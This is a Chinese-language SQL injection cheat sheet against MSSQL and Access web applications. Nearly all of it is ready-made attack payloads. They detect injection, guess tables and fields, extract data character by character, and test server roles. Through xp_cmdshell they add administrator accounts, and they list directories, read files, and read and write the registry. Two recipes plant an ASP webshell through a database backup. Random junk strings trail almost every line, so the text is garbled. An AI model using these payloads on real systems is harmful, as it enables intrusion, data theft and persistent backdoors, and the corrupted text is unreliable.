1.判断是否有注入;and 1=1 ;and 1=2 2%vG7o,#
2.初步判断是否是mssql ;and user>0 !+(H(,gI
xM$AhH
3.注入参数是字符'and [查询条件] and ''=' aSIoq}c(
S|]\q-qA&
4.搜索时没过滤参数的'and [查询条件] and '%25'=' gP`CQ0t
R%"'k<`#
5.判断数据库系统 PAXm
:"gu=u!
;and (select count(*) from sysobjects)>0 mssql ?%*p!m
:kvQ3E0
;and (select count(*) from msysobjects)>0 access V^< Zs//7
pYh\l.@qf
!d&SVS^mo
y>0Gmr
6.猜数据库 ;and (select Count(*) from [数据库名])>0 FiKGB\_]
|Q$Dj!!1P
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ?u>A2Vc!
%*OQH?pyx}
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Q-KBQc
{J-Ojw|Y b
9.(1)猜字段的ascii值(access) H^+Znmo
~^l;~&
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 x#fv<Cj4
KebC$g@W
(2)猜字段的ascii值(mssql) A'n{K#
7MIrrhk
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \5fvD8>H
0+NGFX\p
10.测试权限结构(mssql) @4Lol2
,Bl_6ZaL
dst!VO:
M
{dwlW`{
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- n(
zzH
D{6<,#P{w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- M=4`^.Ocm
T!-ly7-`
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- w[#*f?at~
W8M(@*
T
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Z<#h$XUA
Lc0=5]D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;Qidf}:
=lL)g"xX
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Tr,
zV
n@J>,K_B
;and 1=(select IS_MEMBER('db_owner'));-- 's$/-AV
.gY=<bG/fA
;_m;:<
V!QC.D<
11.添加mssql和系统的帐户 d'[q2y?6N
8zQN[[#n
;exec master.dbo.sp_addlogin username;-- o@ @| 4
F
;exec master.dbo.sp_password null,username,password;-- _% i!LyG
E+J +fi
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Ehq
[4}
|OIU)53A-
;exec master.dbo.xp_cmdshell 'net user username password w{ Pl
av~kF
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- FY
pspv?4
V^_U=Ed@M
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Z9j`<VgN
G4uA&"OE
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ,;n[_f
4jC7>mE
>XW-W
B^C5?
12.(1)遍历目录 j|LO g
5:%`&B\
;create table dirs(paths varchar(100), id int) 4c<\_\\ck
szp.\CMz
;insert dirs exec master.dbo.xp_dirtree 'c:\' sU/vXweky"
W&7(
;and (select top 1 paths from dirs)>0 goc; .~?
@>`qfy?
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) fYlqaO4[
dg&GMo
S2EV[K8#
`E|>K\
(2)遍历目录 b{;LbHq+G
( +(bw4V/
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- zEDN^K '
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \zhCGDm1_
;f
/2u
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 UTqKL*p523
1z_1Hl
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 e^UUR-K%
)NO,G
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 W
Haf}.V
d3NER} f4V
Qjmo{'d
zpg512\y
13.mssql中的存储过程 tg7QX/KX
_ o==
xp_regenumvalues 注册表根键, 子键 9/{ 8Y&
A@e!~
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Uurpho_~
h{^MdYJ
xp_regread 根键,子键,键值名 {Rn*)D9
]PB95%
;exec xp_regread 7Ac.^rv5
60l!3o"p!
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 MHS|gR.c
q><wzCnRu~
xp_regwrite 根键,子键, 值名, 值类型, 值 ;A0ZcgF
(O/W`qo
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $F6GCM3Cx
G`f|#-}
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 gi+FL_8CzU
!ZY1AhGZ
xp_regdeletevalue 根键,子键,值名 y:k7eE"
S";}gw?r6
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \/9 O5`u*V
n!U1cB{
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6n
H'NNS:J
s\(@f4p
-c#vWuLl
u $qazj
14.mssql的backup创建webshell Y6a9S`o
G6qFAepwi
use model cL4Xh|NBp
F<{k~
create table cmd(str image); &D&U!3~(
Rp>%umDyL
insert into cmd(str) values (''); SPnW8
0>
QqsQ
backup database model to disk='c:\l.asp'; >RrG&Wv59
gp+@+i>b+[
lU`t~|>r+
>AWWwq -
15.mssql内置函数 @*WrHoa2N
<2wC)l3j*
;and (select @@version)>0 获得Windows的版本号 DIgur}q)@
A(z
m
;and user_name()='dbo' 判断当前系统的连接用户是不是sa QiaBZAol
Wr8}=\/
;and (select user_name())>0 爆当前系统的连接用户 KK4rVb:-
[B j\h7G
;and (select db_name())>0 得到当前连接的数据库 VRg
y
$<L@B|}F)
Yw\lNhoPS
/1eeNbd
16.简洁的webshell E9]*!^=/
PR%n>a#
use model 3!8 u
$5DlCN
create table cmd(str image); fFXnD
9&s>RJ
insert into cmd(str) values (''); J2k4k
sIRfC<
/P
backup database model to disk='g:\wwwtest\l.asp';